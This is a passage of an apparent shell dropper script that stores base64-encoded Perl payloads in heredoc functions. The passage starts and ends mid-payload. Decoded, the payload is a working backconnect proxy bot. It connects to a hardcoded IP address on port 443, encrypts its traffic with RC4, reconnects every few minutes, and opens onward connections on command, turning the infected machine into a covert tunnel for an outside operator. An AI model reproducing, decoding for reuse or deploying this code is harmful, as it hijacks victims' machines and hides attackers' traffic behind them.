OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_35() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg 